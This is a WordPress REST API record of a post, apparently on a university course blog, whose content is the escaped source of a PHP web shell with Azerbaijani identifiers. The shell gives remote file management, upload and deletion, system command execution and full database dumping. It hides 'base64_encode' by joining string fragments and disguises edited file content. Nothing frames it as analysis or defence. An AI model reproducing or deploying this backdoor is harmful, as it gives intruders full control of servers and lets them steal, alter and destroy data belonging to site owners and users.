value=&quot;&#8221;&gt;<br \/>\n&lt;input type=&quot;text&quot; placeholder=&quot;User&quot; name=&quot;user&quot; value=&quot;&#8221;&gt;<br \/>\n&lt;input type=&quot;text&quot; placeholder=&quot;Parol&quot; name=&quot;parol&quot; value=&quot;&#8221;&gt;<\/p>\n<p>     &#8220;SET NAMES &#8216;utf8&#8242;&#8221;));<br \/>\n$pdo-&gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);<\/p>\n<p>$schematas = $pdo-&gt;query(&#8216;SELECT schema_name FROM information_schema.schemata&#8217;);<br \/>\nprint &#8216;<\/p>\n<p>&#8216;;<br \/>\nforeach($schematas-&gt;fetchAll() AS $schemaName)<br \/>\n{<br \/>\nprint &#8216;<br \/>\n&#8216;.htmlspecialchars($schemaName[&#8216;schema_name&#8217;]).&#8221;;<br \/>\n}<br \/>\nprint &#8216;<br \/>\n &#8216;;<\/p>\n<p>if( !empty($baza) )<br \/>\n{<br \/>\n$tables = $pdo-&gt;prepare(&#8216;SELECT table_name from information_schema.tables where table_schema=?&#8217;);<br \/>\n$tables-&gt;execute(array($baza));<br \/>\n$tables = $tables-&gt;fetchAll();<\/p>\n<p>print &#8216;<\/p>\n<div>&#8216;;<br \/>\nprint &#8216;<a href=\"sehife(\\'?ne=skl_d\\');\">!! Dump DB !!<\/a><\/p>\n<hr>\n<p>&#8216;;<br \/>\nforeach( $tables AS $tableName )<br \/>\n{<br \/>\n$tableName = $tableName[&#8216;table_name&#8217;];<br \/>\nprint &#8216;<a href=\"sehife(\\'?ne=skl&amp;t=' . urlencode(urlencode(shifrele($tableName))) . '\\')\">&#8216;.htmlspecialchars($tableName).&#8217;<\/a><br \/>\n&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/div>\n<p>&#8216;;<br \/>\nprint &#8216;<\/p>\n<div style=\"float: left;padding-left: 10px;width: 75%\">&#8216;;<\/p>\n<p>if( isset($_POST[&#8216;t&#8217;]) &amp;&amp; is_string($_POST[&#8216;t&#8217;]) &amp;&amp; !empty($_POST[&#8216;t&#8217;]) )<br \/>\n{<br \/>\n$tableName = deshifrele(urldecode($_POST[&#8216;t&#8217;]));<br \/>\nprint &#8216;<span class=\"qalin\">Table:<\/span> &#8216; . htmlspecialchars($tableName) . &#8216; ( <a href=\"sehife(\\'?ne=skl_d_t&amp;t='.urlencode(urlencode(shifrele($tableName))).'\\')\">Dump<\/a> )<br \/>\n&#8216;;<\/p>\n<p>$getColumns = $pdo-&gt;prepare(&#8220;SELECT column_name from information_schema.columns where table_schema=? and table_name=?&#8221;);<br \/>\n$getColumns-&gt;execute(array($baza , $tableName));<br \/>\n$columns = $getColumns-&gt;fetchAll();<\/p>\n<p>if( $columns )<br \/>\n{<br \/>\n$dataCount = $pdo-&gt;query(&#8216;SELECT count(0) AS ss from `&#8217; . $tableName . &#8216;`&#8217;);<br \/>\n$dataCount = (int)$dataCount-&gt;fetchColumn();<\/p>\n<p>print &#8216;<span class=\"qalin\">Count:<\/span> &#8216; . $dataCount . &#8216;<\/p>\n<p>&#8216;;<\/p>\n<p>$pages = ceil($dataCount \/ 100);<\/p>\n<p>$currentPage = isset($_POST[&#8216;sehife&#8217;]) &amp;&amp; is_numeric($_POST[&#8216;sehife&#8217;]) &amp;&amp; $_POST[&#8216;sehife&#8217;] &gt;= 1 &amp;&amp; $_POST[&#8216;sehife&#8217;] &lt;= $pages ? (int)$_POST[&#039;sehife&#039;] : 1;<\/p>\n<p>                        for (  $p = 1; $p &lt;= $pages; $p++ )<br \/>\n                        {<br \/>\n                            print &#039;<a style=\"margin-bottom: 5px;padding: 2px 6px;border: 1px solid #ACB754;text-decoration: none\" href=\"sehife(\\'?ne=skl&amp;t=' . urlencode(urlencode(shifrele($tableName))) . '&amp;sehife=' . $p . '\\');\">&#8216; . $p . &#8216;<\/a> &#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/p>\n<p>&#8216;;<\/p>\n<p>$start = 100 * ($currentPage &#8211; 1);<\/p>\n<p>$data = $pdo-&gt;query(&#8216;SELECT * FROM `&#8217; . $tableName .&#8217;` LIMIT &#8216;.$start.&#8217; , 100&#8242;);<br \/>\n$data = $data-&gt;fetchAll();<br \/>\nprint &#8216;<\/p>\n<table>\n<thead>&#8216;;<\/p>\n<p>foreach( $columns AS $columnInf )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<th>&#8216; . htmlspecialchars($columnInf[&#8216;column_name&#8217;]) . &#8216;<\/th>\n<p>&#8216;;<br \/>\n}<\/p>\n<p>print &#8216;<\/thead>\n<tbody>&#8216;;<\/p>\n<p>foreach( $data AS $row )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<tr>&#8216;;<br \/>\nforeach( $row AS $key=&gt;$val )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<td>\n<div>&#8216; . $val . &#8216;<\/div>\n<\/td>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/tr>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/tr>\n<\/tbody>\n<\/table>\n<p>&#8216;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Table not found!&#8217;;<br \/>\n}<br \/>\n}<br \/>\nelse if ( isset($_POST[&#8217;emr&#8217;]) &amp;&amp; is_string($_POST[&#8217;emr&#8217;]) &amp;&amp; !empty($_POST[&#8217;emr&#8217;]) )<br \/>\n{<br \/>\n$emr = deshifrele(urldecode($_POST[&#8217;emr&#8217;]));<br \/>\nprint &#8216;<span class=\"qalin\">SQL emr:<\/span> &#8216; . htmlspecialchars($emr) . &#8216;<br \/>\n&#8216;;<\/p>\n<p>$data = $pdo-&gt;query( $emr );<br \/>\n$data = $data-&gt;fetchAll();<\/p>\n<p>print &#8216;<\/p>\n<table>\n<thead>&#8216;;<br \/>\nif( count($data) &gt; 0 )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<tr>&#8216;;<br \/>\nforeach( $data[0] AS $key=&gt;$val )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<th>\n<div>&#8216; . $key . &#8216;<\/div>\n<\/th>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/tr>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/thead>\n<tbody>&#8216;;<\/p>\n<p>foreach( $data AS $row )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<tr>&#8216;;<br \/>\nforeach( $row AS $key=&gt;$val )<br \/>\n{<br \/>\nprint &#8216;<\/p>\n<td>\n<div>&#8216; . $val . &#8216;<\/div>\n<\/td>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/tr>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216;<\/tr>\n<\/tbody>\n<\/table>\n<p>&#8216;;<br \/>\n}<\/p>\n<p>print &#8216;<\/p>\n<div><textarea id=\"skl_emr\"><\/textarea><button type=\"button\">Click Me!<\/button><\/div>\n<p>&#8216;;<\/p>\n<p>print &#8216;<\/p>\n<\/div>\n<p>&#8216;;<br \/>\nprint &#8216;<\/p>\n<div style=\"clear: both\"><\/div>\n<p>&#8216;;<br \/>\n}<br \/>\n}<br \/>\ncatch (Exception $e)<br \/>\n{<br \/>\nprint $e-&gt;getMessage();<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_redakte&#8221; &amp;&amp; isset($_POST[&#8216;fayl&#8217;]) &amp;&amp; &#8220;&#8221;!=(trim($_POST[&#8216;fayl&#8217;])))<br \/>\n{<br \/>\n$faylAdi = basename(deshifrele(urldecode(urldecode($_POST[&#8216;fayl&#8217;]))));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_file($default_dir . $ayirici . $faylAdi) &amp;&amp; is_readable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\n$status = &#8220;&#8221;;<br \/>\nif(isset($_POST[&#8216;content&#8217;]) &amp;&amp; isset($_POST[&#8216;took&#8217;]) &amp;&amp; $_POST[&#8216;took&#8217;]!=&#8221;&#8221; &amp;&amp; isset($_SESSION[&#8216;ys_took&#8217;]) &amp;&amp; $_SESSION[&#8216;ys_took&#8217;]==$_POST[&#8216;took&#8217;] &amp;&amp; is_writeable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\nunset($_SESSION[&#8216;ys_took&#8217;]);<br \/>\n$content = $_POST[&#8216;content&#8217;];<\/p>\n<p>$cc =  array(&#8216;a&#8217;,&#8217;i&#8217;,&#8217;e&#8217;,&#8217;s&#8217;,&#8217;l&#8217;,&#8217;b&#8217;,&#8217;u&#8217;,&#8217;o&#8217;,&#8217;p&#8217;,&#8217;h&#8217;,&#8221;(&#8220;,&#8221;)&#8221;,&#8221;&#8221;,&#8221;?&#8221;,&#8221;;&#8221;,&#8221;[&#8220;,&#8221;]&#8221;,&#8221;$&#8221;);<br \/>\nforeach($cc AS $k1=&gt;$v1)<br \/>\n{<br \/>\n$content = str_replace(&#8216;|:&#8217;.$k1.&#8217;:|&#8217; , $v1 , $content);<br \/>\n}<\/p>\n<p>$faylAch = fopen($default_dir . $ayirici . $faylAdi, &#8220;w+&#8221;);<br \/>\nfwrite($faylAch, $content);<br \/>\nfclose($faylAch);<br \/>\n$status = &#8221; <span class='qalin'>Saved!<\/span>&#8220;;<br \/>\n}<br \/>\n$oxuUrl = &#8220;?ne=fayl_oxu&amp;fayl=&#8221;.urlencode(urlencode(shifrele($faylAdi))).&#8221;&amp;qovluq=&#8221;.urlencode(urlencode(shifrele($default_dir)));<br \/>\n$elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? &#8220;&#8221; : &#8221; disabled&#8221;;<br \/>\nprint &#8221;<\/p>\n<div>File Name <a class='qalin' href='sehife(\"{$oxuUrl}\")'>&#8220;.htmlspecialchars($faylAdi).&#8221;<\/a><\/p>\n<p><button type='submit'> Don&#8217;t forget <\/button> <button type='button'> These codes <\/button> $status<\/div>\n<p>&#8220;;<br \/>\nprint &#8220;<textarea name='content' class='file_edit'>&#8220;.htmlspecialchars(file_get_contents($default_dir . $ayirici . $faylAdi)).&#8221;<\/textarea>&#8220;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Error! &#8216; .  htmlspecialchars($default_dir . $ayirici . $faylAdi);<br \/>\n}<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nif(is_dir($default_dir))<br \/>\n{<br \/>\nif(is_readable($default_dir))<br \/>\n{<br \/>\n$qovluqIchi = scandir($default_dir);<br \/>\nforeach($qovluqIchi AS &amp;$emelemnt)<br \/>\n{<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($emelemnt,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_dir($default_dir . $ayirici . $emelemnt))<br \/>\n{<br \/>\n$emelemnt = &#8220;0&#8221;.$emelemnt;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\n$emelemnt = &#8220;1&#8221;.$emelemnt;<br \/>\n}<br \/>\n}<br \/>\nasort($qovluqIchi);<br \/>\nprint &#8221;<\/p>\n<table class='fManager' style='width: 100%'>\n<thead>\n<tr class='qalin'>\n<th>A<\/th>\n<th>File<\/th>\n<th>Size<\/th>\n<th>History<\/th>\n<th>Owner\/Group<\/th>\n<th>Permissions<\/th>\n<th>Actions<\/th>\n<\/tr>\n<\/thead>\n<tbody>&#8220;;<br \/>\nforeach($qovluqIchi AS $element)<br \/>\n{<br \/>\n$url = &#8220;&#8221;;<br \/>\n$element = substr($element,1);<br \/>\n$faylAdiTam = $default_dir . $ayirici . $element;<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($element,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\n$adi = is_dir($faylAdiTam) ? &#8220;[ $element ]&#8221; : $element;<br \/>\n$classN = &#8220;&#8221;;<br \/>\nif(is_dir($faylAdiTam))<br \/>\n{<br \/>\nif($element==&#8221;.&#8221;)<br \/>\n{<br \/>\n$url = &#8220;?qovluq=&#8221;.urlencode(urlencode(shifrele($default_dir)));<br \/>\n}<br \/>\nelse if($element==&#8221;..&#8221;)<br \/>\n{<br \/>\n$yeniUrl = explode(&#8220;\/&#8221;,$default_dir);<br \/>\nforeach(array_reverse($yeniUrl) AS $j=&gt;$qq)<br \/>\n{<br \/>\nif(trim($qq)!=&#8221;&#8221;)<br \/>\n{<br \/>\nunset($yeniUrl[count($yeniUrl)-$j-1]);<br \/>\nbreak;<br \/>\n}<br \/>\n}<br \/>\n$url = &#8220;?qovluq=&#8221;.urlencode(urlencode(shifrele(implode(&#8220;\/&#8221;,$yeniUrl))));<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\n$url = &#8220;?qovluq=&#8221;.urlencode(urlencode(shifrele($faylAdiTam)));<br \/>\n}<br \/>\n$classN = &#8221; style=&#8217;font-weight: 600;'&#8221;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\n$url = &#8220;?ne=fayl_oxu&amp;fayl=&#8221;.urlencode(urlencode(shifrele($element))).&#8221;&amp;qovluq=&#8221;.urlencode(urlencode(shifrele($default_dir)));<br \/>\n}<br \/>\n$fayldi = is_file($faylAdiTam);<br \/>\n$isReadableColor = is_readable( $faylAdiTam ) &amp;&amp; is_writeable( $faylAdiTam );<br \/>\nprint &#8216;<\/p>\n<tr>\n<td><\/td>\n<td><a>&#8216;.htmlspecialchars($adi).&#8217;<\/a><\/td>\n<td>&#8216; . ($fayldi?sizeFormat(filesize($faylAdiTam)):&#8221;) . &#8216;<\/td>\n<td>&#8216; . (date(&#8216;d M Y, H:i&#8217; , filectime($faylAdiTam))) . &#8216;<\/td>\n<td>&#8216; . htmlspecialchars(fileowner($faylAdiTam)) . &#8216;<\/td>\n<td>&#8216; . substr(sprintf(&#8216;%o&#8217;, fileperms(( $faylAdiTam ))), -4) . &#8216;<\/td>\n<td>&#8216;;<br \/>\nif( is_file($faylAdiTam) )<br \/>\n{<br \/>\nprint (&#8216; <a>Download<\/a> | &#8216;) .<br \/>\n(&#8216; <a>Rename<\/a> | &#8216;) .<br \/>\n(&#8216; <a>Truncate<\/a> | &#8216;) .<br \/>\n(&#8216; <a>Delete<\/a>&#8216;);<br \/>\n}<br \/>\nelse if( $adi != &#8216;[ . ]&#8217; &amp;&amp; $adi != &#8216;[ .. ]&#8217; )<br \/>\n{<br \/>\nprint (&#8216; <a>Zip<\/a> | &#8216;) .<br \/>\n(&#8216; <a>Delete<\/a>&#8216;);<br \/>\n}<br \/>\nprint &#8216;<\/td>\n<\/tr>\n<p>&#8216;;<br \/>\n}<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8221;<\/p>\n<div style='margin: 10px 0px' class='qalin'>Permissions denided!<\/div>\n<p>&#8220;;<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nprint &#8220;<\/tbody>\n<\/table>\n<p>&#8220;;<br \/>\n?&gt;<\/p>\n<hr>\n<p><a href=\"newFile();\">New File<\/a> | <a href=\"newPapka();\">New Folder<\/a><br \/>\n&lt;a href=&quot;javascript:sehife(&#039;?ne=sistem_kom&amp;qovluq=&#8217;)&#8221;&gt;Apply<\/a><br \/>\n<a href=\"sehife('?ne=skl');\">SQL<\/a><\/p>\n<p>&lt;input type=&quot;hidden&quot; name=&quot;qovluq&quot; value=&quot;&#8221;&gt;<\/p>\n<p>\nfunction sehife(url)<br \/>\n{<br \/>\n    var inputlar = &#8220;&#8221;;<br \/>\n    url = url.split(&#8220;?&#8221;);<br \/>\n    if(typeof url[1]==&#8221;undefined&#8221;) return;<br \/>\n    url = url[1].split(&#8220;&amp;&#8221;);<br \/>\n    for(var n in url)<br \/>\n    {<br \/>\n        var keyAndValue = url[n].split(&#8220;=&#8221;);<br \/>\n        if(typeof keyAndValue[1]==&#8221;undefined&#8221;) continue;<br \/>\n        inputlar+=&#8221;&#8221;;<br \/>\n    }<br \/>\n    document.all(&#8220;post_form&#8221;).innerHTML = inputlar;<br \/>\n    document.all(&#8220;post_form&#8221;).submit();<br \/>\n}<br \/>\nfunction faylSil(url)<br \/>\n{<br \/>\n    if( confirm(&#8216;Are you sure?&#8217;) )<br \/>\n    {<br \/>\n        sehife(url);<br \/>\n    }<br \/>\n}<br \/>\nfunction faylSifirla(url)<br \/>\n{<br \/>\n    if( confirm(&#8216;Are you sure?&#8217;) )<br \/>\n    {<br \/>\n        sehife(url);<br \/>\n    }<br \/>\n}<br \/>\nfunction changeFileName(name, url)<br \/>\n{<br \/>\n    var getNewName = prompt(&#8216;Change file name:&#8217; , name);<br \/>\n    if( getNewName )<br \/>\n    {<br \/>\n        sehife(url + &#8220;&amp;new_name=&#8221; + getNewName);<br \/>\n    }<br \/>\n}<br \/>\nfunction newFile()<br \/>\n{<br \/>\n    var getNewName = prompt(&#8216;File name:&#8217;);<br \/>\n    if( getNewName )<br \/>\n    {<br \/>\n        sehife(&#8220;?ne=fayl_yarat&amp;ad=&#8221; + getNewName + &#8220;&amp;qovluq=&#8221;);<br \/>\n    }<br \/>\n}<br \/>\nfunction newPapka()<br \/>\n{<br \/>\n    var getNewName = prompt(&#8216;File name:&#8217;);<br \/>\n    if( getNewName )<br \/>\n    {<br \/>\n        sehife(&#8220;?ne=papka_yarat&amp;ad=&#8221; + getNewName + &#8220;&amp;qovluq=&#8221;);<br \/>\n    }<br \/>\n}<br \/>\nfunction sistemKom()<br \/>\n{<br \/>\n    var komanda = document.getElementById(&#8217;emr_et_atash&#8217;).value;<br \/>\n    if( komanda )<br \/>\n    {<br \/>\n        sehife(&#8220;?ne=sistem_kom&amp;kom=&#8221; + b64EncodeUnicode(komanda) + &#8220;&amp;qovluq=&#8221;);<br \/>\n    }<br \/>\n}<br \/>\nfunction skl_bas()<br \/>\n{<br \/>\n    var sklEmr = document.getElementById(&#8216;skl_emr&#8217;).value;<\/p>\n<p>    sehife(&#8220;?ne=skl&amp;emr=&#8221; + b64EncodeUnicode(sklEmr));<br \/>\n}<br \/>\nfunction b64EncodeUnicode(str)<br \/>\n{<br \/>\n    return btoa(encodeURIComponent(str).replace(\/%([0-9A-F]{2})\/g,<br \/>\n        function toSolidBytes(match, p1) {<br \/>\n            return String.fromCharCode(&#8216;0x&#8217; + p1);<br \/>\n        }));<br \/>\n}<br \/>\nfunction goto()<br \/>\n{<br \/>\n    var dir = prompt(&#8216;Dir:&#8217;);<br \/>\n    if( dir )<br \/>\n    {<br \/>\n        sehife(&#8220;?qovluq=&#8221; + dir);<br \/>\n    }<br \/>\n}<br \/>\nfunction ziple(qovluq)<br \/>\n{<br \/>\n    var dir = prompt(&#8216;Dir:&#8217; , &#8220;&#8221;);<br \/>\n    if( dir )<br \/>\n    {<br \/>\n        sehife(&#8220;?ne=ziple&amp;qovluq=&amp;zf=&#8221; + qovluq + &#8220;&amp;save_to=&#8221; + b64EncodeUnicode(dir))<br \/>\n    }<br \/>\n}<br \/>\nfunction silPapka(qovluq)<br \/>\n{<br \/>\n    if( confirm(&#8216;Are you sure?&#8217;) )<br \/>\n    {<br \/>\n        sehife(&#8220;?ne=papka_sil&amp;qovluq=&amp;zf=&#8221; + qovluq)<br \/>\n    }<br \/>\n}<br \/>\nfunction shifrelee()<br \/>\n{<br \/>\n    var vall = document.getElementsByClassName(&#8216;file_edit&#8217;)[0].value;<br \/>\n    var repp = [&#8216;a&#8217;,&#8217;i&#8217;,&#8217;e&#8217;,&#8217;s&#8217;,&#8217;l&#8217;,&#8217;b&#8217;,&#8217;u&#8217;,&#8217;o&#8217;,&#8217;p&#8217;,&#8217;h&#8217;,&#8221;\\\\(&#8220;,&#8221;\\\\)&#8221;,&#8221;\\\\&#8221;,&#8221;\\\\?&#8221;,&#8221;\\\\;&#8221;,&#8221;\\\\[&#8220;,&#8221;\\\\]&#8221;,&#8221;\\\\$&#8221;];<br \/>\n    for(var s in repp)<br \/>\n    {<br \/>\n        var h = repp[s];<br \/>\n        vall = vall.replace(new RegExp(h, &#8216;g&#8217;) , &#8216;|:&#8217;+s+&#8217;:|&#8217;);<br \/>\n    }<\/p>\n<p>    document.getElementsByClassName(&#8216;file_edit&#8217;)[0].value = vall;<br \/>\n}<\/p>\n<p>document.getElementById(&#8220;emr_et_atash&#8221;).addEventListener(&#8220;keyup&#8221;, function(event)<br \/>\n{<br \/>\n    event.preventDefault();<br \/>\n    if (event.keyCode === 13)<br \/>\n    {<br \/>\n        sistemKom();<br \/>\n    }<br \/>\n});<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;?php session_start(); $baqliFunksiyalar = explode(&quot;,&quot;, &quot;&quot;); $safeMode = true; $actions = array(&quot;esas&quot;,&quot;fayl_oxu&quot;,&quot;phpinfo&quot;,&quot;sistem_kom&quot;,&quot;fayl_redakte&quot;,&quot;fayl_yukle&quot;,&#039;fayl_sil&#039;,&#039;fayl_yarat&#039;,&#039;papka_yarat&#039;,&#039;fayl_sifirla&#039; , &#039;papka_sil&#039;,&#039;fayl_ad_deyish&#039;, &#039;ziple&#039; , &#039;skl&#039; , &#039;skl_d_t&#039; , &#039;skl_d&#039;, &#039;fayl_upl&#039;); $ne = isset($_POST[&#039;ne&#039;]) &amp;&amp; in_array($_POST[&#039;ne&#039;],$actions) ? $_POST[&#039;ne&#039;] : &quot;esas&quot;; function shifrele($str) { $f = &#039;bas&#039;; $f .= &#039;e6&#039;; $f .= &#039;4_&#039;; $f .= &#039;e&#039;; $f .= &#039;nc&#039;; $f .= &#039;ode&#039;; return $f($str); } &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/?p=4591\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;&#8221;<\/span><\/a><\/p>\n","protected":false},"author":74,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4591","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts\/4591","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/users\/74"}],"replies":[{"embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4591"}],"version-history":[{"count":1,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts\/4591\/revisions"}],"predecessor-version":[{"id":4592,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=\/wp\/v2\/posts\/4591\/revisions\/4592"}],"wp:attachment":[{"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4591"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4591"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4591"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}